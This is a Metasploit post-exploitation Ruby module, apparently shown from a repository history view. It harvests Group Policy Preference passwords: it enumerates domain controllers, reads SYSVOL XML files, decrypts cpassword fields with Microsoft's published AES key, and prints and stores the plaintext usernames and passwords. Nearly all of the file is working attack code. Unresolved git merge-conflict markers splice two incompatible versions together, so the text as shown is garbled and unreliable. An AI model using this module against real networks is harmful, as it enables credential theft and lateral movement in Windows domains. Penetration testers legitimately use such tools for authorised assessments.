metasploit-framework/modules/post/windows/gather/credentials/gpp.rb

725 lines
21 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'rexml/document'
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
=======
require 'msf/core/post/windows/registry'
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::Priv
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
=======
include Msf::Post::Windows::Registry
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Group Policy Preference Saved Passwords',
'Description' => %q{
This module enumerates the victim machine's domain controller and
2012-06-21 17:46:20 +00:00
connects to it via SMB. It then looks for Group Policy Preference XML
files containing local user accounts and passwords and decrypts them
using Microsofts public AES key.
2012-06-21 17:46:20 +00:00
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
Users can specify DOMAINS="domain1 domain2 domain3 etc" to target specific
domains on the network. This module will enumerate any domain controllers for
those domains.
2012-06-21 17:46:20 +00:00
Users can specify ALL=True to target all domains and their domain controllers
on the network.
2012-06-22 18:12:42 +00:00
Tested directly on a Win2k8 x64 DC, Win2k12RC x64 DC, and a Windows 7 x32 Client
Workstation.
Using the ALL or DOMAINS flags whilst on a DC will not enumerate that DC as it
is looking externally on the network for other Domain Controllers, however the
default (CURRENT=True which inspects the registry) should work successfully.
2012-07-02 07:57:54 +00:00
=======
2012-06-23 17:45:56 +00:00
Tested on WinXP SP3 Client and Win2k8 R2 DC.
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master
},
'License' => MSF_LICENSE,
'Author' =>[
2012-06-22 18:12:42 +00:00
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
2012-06-22 18:12:42 +00:00
'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
'TheLightCosine <thelightcosine[at]gmail.com>'
2012-07-02 07:57:54 +00:00
=======
2012-06-23 17:45:56 +00:00
'TheLightCosine <thelightcosine[at]metasploit.com>',
'Rob Fuller <mubix[at]hak5.org>' #domain/dc enumeration code
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master
],
2012-06-21 17:46:20 +00:00
'References' =>
[
2012-06-22 10:14:19 +00:00
['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
2012-06-22 17:11:15 +00:00
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
2012-06-21 17:46:20 +00:00
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
register_options(
[
OptBool.new('CURRENT', [ false, 'Enumerate current machine domain.', true]),
OptBool.new('ALL', [ false, 'Enumerate all domains on network.', false]),
OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".']),
], self.class)
end
def run
dcs = []
group_paths = []
group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
service_paths = []
service_path = "MACHINE\\Preferences\\Services\\Services.xml"
printer_paths = []
printer_path = "USER\\Preferences\\Printers\\Printers.xml"
drive_paths = []
drive_path = "USER\\Preferences\\Drives\\Drives.xml"
datasource_paths = []
datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
task_paths = []
task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
2012-06-21 17:46:20 +00:00
if !datastore['DOMAINS'].to_s.empty?
user_domains = datastore['DOMAINS'].to_s.split(' ')
print_status "User supplied domains #{user_domains}"
2012-06-21 17:46:20 +00:00
user_domains.each do |domain_name|
found_dcs = enum_dcs(domain_name)
dcs << found_dcs[0] unless found_dcs.to_a.empty?
end
elsif datastore['ALL']
enum_domains.each do |domain|
domain_name = domain[:domain]
if domain_name == "WORKGROUP" || domain_name.empty?
print_status "Skipping '#{domain_name}'..."
next
end
2012-06-21 17:46:20 +00:00
found_dcs = enum_dcs(domain_name)
# We only wish to enumerate one DC for each Domain.
dcs << found_dcs[0] unless found_dcs.to_a.empty?
end
elsif datastore['CURRENT']
dcs << get_domain_controller
else
print_error "Invalid Arguments, please supply one of CURRENT, ALL or DOMAINS arguments"
return nil
2012-06-21 17:46:20 +00:00
end
dcs = dcs.flatten.compact
if dcs.length < 1
return nil
end
dcs.each do |dc|
print_status "Searching on #{dc}..."
sysvol_path = "\\\\#{dc}\\SYSVOL\\"
begin
# Enumerate domain folders
session.fs.dir.foreach(sysvol_path) do |domain_dir|
next if domain_dir =~ /^(\.|\.\.)$/
domain_path = "#{sysvol_path}#{domain_dir}\\Policies\\"
print_status "Looking in domain folder #{domain_path}"
# Enumerate policy folders {...}
begin
session.fs.dir.foreach(domain_path) do |policy_dir|
next if policy_dir =~ /^(\.|\.\.)$/
policy_path = "#{domain_path}\\#{policy_dir}"
group_paths << find_path(policy_path, group_path)
group_paths << find_path(policy_path, group_path_user)
2012-06-22 13:36:29 +00:00
service_paths << find_path(policy_path, service_path)
printer_paths << find_path(policy_path, printer_path)
drive_paths << find_path(policy_path, drive_path)
datasource_paths << find_path(policy_path, datasource_path)
datasource_paths << find_path(policy_path, datasource_path_user)
task_paths << find_path(policy_path, task_path)
task_paths << find_path(policy_path, task_path_user)
end
rescue Rex::Post::Meterpreter::RequestError => e
2012-06-22 17:11:15 +00:00
print_error "Received error code #{e.code} when reading #{domain_path}"
end
end
rescue Rex::Post::Meterpreter::RequestError => e
2012-06-22 17:11:15 +00:00
print_error "Received error code #{e.code} when reading #{sysvol_path}"
end
end
group_paths = group_paths.flatten.compact
service_paths = service_paths.flatten.compact
printer_paths = printer_paths.flatten.compact
drive_paths = drive_paths.flatten.compact
datasource_paths = datasource_paths.flatten.compact
task_paths = task_paths.flatten.compact
2012-06-22 13:36:29 +00:00
print_status "Results from Groups.xml:"
group_paths.each do |path|
mxml, dc = get_xml(path)
parse_group_xml(mxml, dc)
end
2012-06-22 13:36:29 +00:00
print_status "Results from Services.xml:"
service_paths.each do |path|
mxml, dc = get_xml(path)
parse_service_xml(mxml, dc)
end
2012-06-22 13:36:29 +00:00
print_status "Results from Printers.xml:"
printer_paths.each do |path|
mxml, dc = get_xml(path)
parse_printer_xml(mxml, dc)
end
2012-06-22 13:36:29 +00:00
print_status "Results from Drives.xml:"
drive_paths.each do |path|
mxml, dc = get_xml(path)
parse_drive_xml(mxml, dc)
end
2012-06-22 13:36:29 +00:00
print_status "Results from DataSources.xml:"
datasource_paths.each do |path|
mxml, dc = get_xml(path)
parse_datasource_xml(mxml, dc)
end
2012-06-22 13:36:29 +00:00
print_status "Results from ScheduledTasks.xml:"
task_paths.each do |path|
mxml, dc = get_xml(path)
parse_scheduled_task_xml(mxml, dc)
end
end
2012-07-02 07:57:54 +00:00
=======
register_options([
OptBool.new('ALL', [ false, 'Enumerate all domains on network.', true]),
2012-06-24 18:08:19 +00:00
OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class)
end
def run
group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
service_path = "MACHINE\\Preferences\\Services\\Services.xml"
printer_path = "USER\\Preferences\\Printers\\Printers.xml"
drive_path = "USER\\Preferences\\Drives\\Drives.xml"
datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
domains = []
dcs = []
basepaths = []
fullpaths = []
@enumed_domains = []
print_status "Checking locally.."
2012-06-24 18:08:19 +00:00
locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol"))
unless locals.blank?
basepaths << locals
print_good "Policy Sahres found locally"
end
if datastore['ALL'] and datastore['DOMAINS'].blank?
domains = enum_domains
domains.reject!{|n| n == "WORKGROUP"}
end
2012-06-24 18:08:19 +00:00
datastore['DOMAINS'].split('').each{|ud| domains << ud} if datastore['DOMAINS']
domains << get_domain_reg
domains.flatten!
domains.compact!
2012-06-24 18:08:19 +00:00
domains.uniq!
2012-06-27 15:06:15 +00:00
domains.each do |domain|
2012-06-24 18:08:19 +00:00
dcs = enum_dcs(domain)
next if dcs.blank?
2012-06-24 18:08:19 +00:00
dcs.uniq!
tbase = []
2012-06-27 15:06:15 +00:00
dcs.each do |dc|
2012-06-24 18:08:19 +00:00
print_status "Searching for Policy Share on #{dc}..."
tbase = get_basepaths("\\\\#{dc}\\SYSVOL")
#If we got a basepath from the DC we know that we can reach it
#All DCs on the same domain should be the same so we only need one
unless tbase.blank?
print_good "Found Policy Share on #{dc}"
basepaths << tbase
break
end
end
end
basepaths.flatten!
basepaths.compact!
2012-06-24 18:08:19 +00:00
print_status "Searching for Group Policy XML Files..."
basepaths.each do |policy_path|
fullpaths << find_path(policy_path, group_path)
fullpaths << find_path(policy_path, group_path_user)
fullpaths << find_path(policy_path, service_path)
fullpaths << find_path(policy_path, printer_path)
fullpaths << find_path(policy_path, drive_path)
fullpaths << find_path(policy_path, datasource_path)
fullpaths << find_path(policy_path, datasource_path_user)
fullpaths << find_path(policy_path, task_path)
fullpaths << find_path(policy_path, task_path_user)
end
fullpaths.flatten!
fullpaths.compact!
fullpaths.each do |filepath|
tmpfile = gpp_xml_file(filepath)
parse_xml(tmpfile) if tmpfile
end
end
def get_basepaths(base)
locals = []
begin
session.fs.dir.foreach(base) do |sub|
next if sub =~ /^(\.|\.\.)$/
tpath = "#{base}\\#{sub}\\Policies"
2012-06-27 15:06:15 +00:00
begin
session.fs.dir.foreach(tpath) do |sub2|
next if sub =~ /^(\.|\.\.)$/
locals << "#{tpath}\\#{sub2}\\"
end
2012-06-23 17:56:12 +00:00
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Could not access #{tpath} : #{e.message}"
end
end
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Error accessing #{base} : #{e.message}"
end
return locals
end
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master
def find_path(path, xml_path)
xml_path = "#{path}\\#{xml_path}"
begin
return xml_path if client.fs.file.stat(xml_path)
rescue Rex::Post::Meterpreter::RequestError => e
# No permissions for this specific file.
2012-06-22 17:11:15 +00:00
return nil
end
end
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
def get_xml(path)
2012-07-02 07:57:54 +00:00
=======
def gpp_xml_file(path)
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master
begin
groups = client.fs.file.new(path,'r')
until groups.eof
data = groups.read
end
2012-06-21 17:46:20 +00:00
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
2012-06-21 17:46:20 +00:00
domain = path.split('\\')[2]
2012-06-22 13:36:29 +00:00
mxml = REXML::Document.new(data).root
2012-06-22 13:36:29 +00:00
return mxml, domain
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} when reading #{path}"
end
end
2012-06-22 13:36:29 +00:00
def parse_service_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
user = node.attributes['accountName']
service_name = node.attributes['serviceName']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-22 13:36:29 +00:00
pass = decrypt(epassword)
2012-06-22 13:36:29 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} SERVICE: #{service_name} CHANGED: #{changed}"
report_creds(user,pass)
end
end
2012-06-22 13:36:29 +00:00
def parse_printer_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
user = node.attributes['username'] #lowercase in MSDN
path = node.attributes['path']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-22 13:36:29 +00:00
pass = decrypt(epassword)
2012-06-22 13:36:29 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}"
report_creds(user,pass)
end
end
2012-06-22 13:36:29 +00:00
def parse_drive_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
2012-06-22 17:47:44 +00:00
user = node.attributes['userName'] #lowercase in MSDN but camelCase in practice
path = node.attributes['path']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-22 13:36:29 +00:00
pass = decrypt(epassword)
2012-06-22 13:36:29 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}"
report_creds(user,pass)
end
end
2012-06-22 13:36:29 +00:00
def parse_datasource_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
user = node.attributes['username'] #lowercase in MSDN
dsn = node.attributes['dsn']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-22 13:36:29 +00:00
pass = decrypt(epassword)
2012-06-22 13:36:29 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DSN: #{dsn} CHANGED: #{changed}"
report_creds(user,pass)
end
end
2012-06-22 13:36:29 +00:00
def parse_scheduled_task_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
user = node.attributes['runAs']
task_name = node.attributes['name']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-22 13:36:29 +00:00
pass = decrypt(epassword)
2012-06-22 13:36:29 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} Task: #{task_name} CHANGED: #{changed}"
report_creds(user,pass)
end
end
def parse_group_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
user = node.attributes['userName']
newname = node.attributes['newName']
disabled = node.attributes['acctDisabled']
action = node.attributes['action']
expires = node.attributes['expires']
never_expires = node.attributes['neverExpires']
description = node.attributes['description']
full_name = node.attributes['fullName']
no_change = node.attributes['noChange']
change_logon = node.attributes['changeLogon']
sub_authority = node.attributes['subAuthority']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-21 17:46:20 +00:00
# Check if policy also specifies the user is renamed.
if !newname.to_s.empty?
user = newname
end
2012-06-21 17:46:20 +00:00
pass = decrypt(epassword)
2012-06-21 17:46:20 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled} CHANGED: #{changed}"
2012-06-21 17:46:20 +00:00
report_creds(user,pass)
end
end
2012-06-22 13:36:29 +00:00
2012-07-02 07:57:54 +00:00
=======
spath = path.split('\\')
retobj = {
:dc => spath[2],
2012-06-24 18:08:19 +00:00
:path => path,
:xml => REXML::Document.new(data).root
2012-06-27 15:06:15 +00:00
}
if spath[4] == "sysvol"
2012-06-27 15:06:15 +00:00
retobj[:domain] = spath[5]
else
retobj[:domain] = spath[4]
end
return retobj
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} when reading #{path}"
return nil
end
end
def parse_xml(xmlfile)
mxml = xmlfile[:xml]
2012-06-24 18:08:19 +00:00
print_status "Parsing file: #{xmlfile[:path]} ..."
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
next if @enumed_domains.include? xmlfile[:domain]
@enumed_domains << xmlfile[:domain]
pass = decrypt(epassword)
user = node.attributes['runAs'] if node.attributes['runAs']
user = node.attributes['accountName'] if node.attributes['accountName']
user = node.attributes['username'] if node.attributes['username']
user = node.attributes['userName'] if node.attributes['userName']
2012-06-24 18:08:19 +00:00
user = node.attributes['newName'] unless node.attributes['newName'].blank?
changed = node.parent.attributes['changed']
2012-06-27 15:06:15 +00:00
expires = node.attributes['expires']
2012-06-24 18:08:19 +00:00
never_expires = node.attributes['neverExpires']
disabled = node.attributes['acctDisabled']
2012-06-24 18:08:19 +00:00
table = Rex::Ui::Text::Table.new(
'Header' => 'Group Policy Credential Info',
'Indent' => 1,
'SortIndex' => 5,
'Columns' =>
2012-06-24 18:08:19 +00:00
[
'Name',
'Value',
]
)
2012-06-24 18:08:19 +00:00
table << ["USERNAME", user ]
table << ["PASSWORD", pass]
table << ["DOMAIN CONTROLLER", xmlfile[:dc]]
table << ["DOMAIN", xmlfile[:domain] ]
2012-06-24 18:08:19 +00:00
table << ["CHANGED", changed]
table << ["EXPIRES", expires] unless expires.blank?
table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank?
table << ["DISABLED", disabled] unless disabled.blank?
print_good table.to_s
report_creds(user,pass) unless disabled and disabled == '1'
end
end
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master
def report_creds(user, pass)
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
2012-06-22 13:36:29 +00:00
report_auth_info(
:host => session.sock.peerhost,
:port => 445,
:sname => 'smb',
:proto => 'tcp',
:source_id => source_id,
:source_type => "exploit",
:user => user,
:pass => pass)
end
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Rex::Text.decode_base64(epassword)
2012-06-22 10:36:27 +00:00
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
2012-06-22 13:36:29 +00:00
return pass
end
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
2012-06-22 10:14:19 +00:00
#enum_domains.rb
2012-07-02 07:57:54 +00:00
=======
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master
def enum_domains
print_status "Enumerating Domains on the Network..."
2012-06-22 17:11:15 +00:00
domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
# Estimate new buffer size on percentage recovered.
percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
if percent_found > 0
buffersize = (buffersize/percent_found).to_i
else
buffersize += 500
end
2012-06-21 17:46:20 +00:00
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
end
count = result['totalentries']
print_status("#{count} domain(s) found.")
startmem = result['bufptr']
base = 0
domains = []
if count == 0
return domains
end
mem = client.railgun.memread(startmem, 8*count)
count.times do |i|
x = {}
x[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
domains << x
2012-07-02 07:57:54 +00:00
=======
domains << x[:domain]
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master
base = base + 8
end
return domains
end
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
2012-06-22 10:14:19 +00:00
#enum_domains.rb
2012-07-02 07:57:54 +00:00
=======
>>>>>>> upstream/master
def enum_dcs(domain)
print_status("Enumerating DCs for #{domain}")
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
end
if result['totalentries'] == 0
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
print_error "No Domain Controllers found for #{domain}"
2012-07-02 07:57:54 +00:00
=======
print_error("No Domain Controllers found for #{domain}")
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master
return nil
end
count = result['totalentries']
startmem = result['bufptr']
base = 0
mem = client.railgun.memread(startmem, 8*count)
hostnames = []
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
count.times do |i|
2012-07-02 07:57:54 +00:00
=======
count.times{|i|
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master
t = {}
t[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
base = base + 8
print_good "DC Found: #{t[:dc_hostname]}"
hostnames << t[:dc_hostname]
2012-07-02 07:57:54 +00:00
<<<<<<< HEAD
end
2012-06-21 17:46:20 +00:00
return hostnames
end
2012-06-21 17:46:20 +00:00
#enum_domain.rb
def reg_getvaldata(key,valname)
value = nil
begin
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
v = open_key.query_value(valname)
value = v.data
open_key.close
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} - #{e.message} when reading the registry."
end
return value
end
2012-06-22 10:14:19 +00:00
#enum_domain.rb
def get_domain_controller()
domain = nil
begin
subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
v_name = "DCName"
domain = reg_getvaldata(subkey, v_name)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} - #{e.message} when reading the registry."
end
if domain.nil?
print_error "No domain controller retrieved - is this machine part of a domain?"
return nil
else
return domain.sub!(/\\\\/,'')
end
end
end
2012-06-21 17:46:20 +00:00
2012-07-02 07:57:54 +00:00
=======
}
return hostnames
end
def get_domain_reg
begin
subkey = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\"
v_name = "Domain"
domain = registry_getvaldata(subkey, v_name)
2012-06-24 18:08:19 +00:00
print_status "Retrieved domain #{domain} from registry "
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} - #{e.message} when reading the registry."
end
domain = domain.split('.')[0].upcase
return domain
end
end
2012-07-02 07:57:54 +00:00
>>>>>>> upstream/master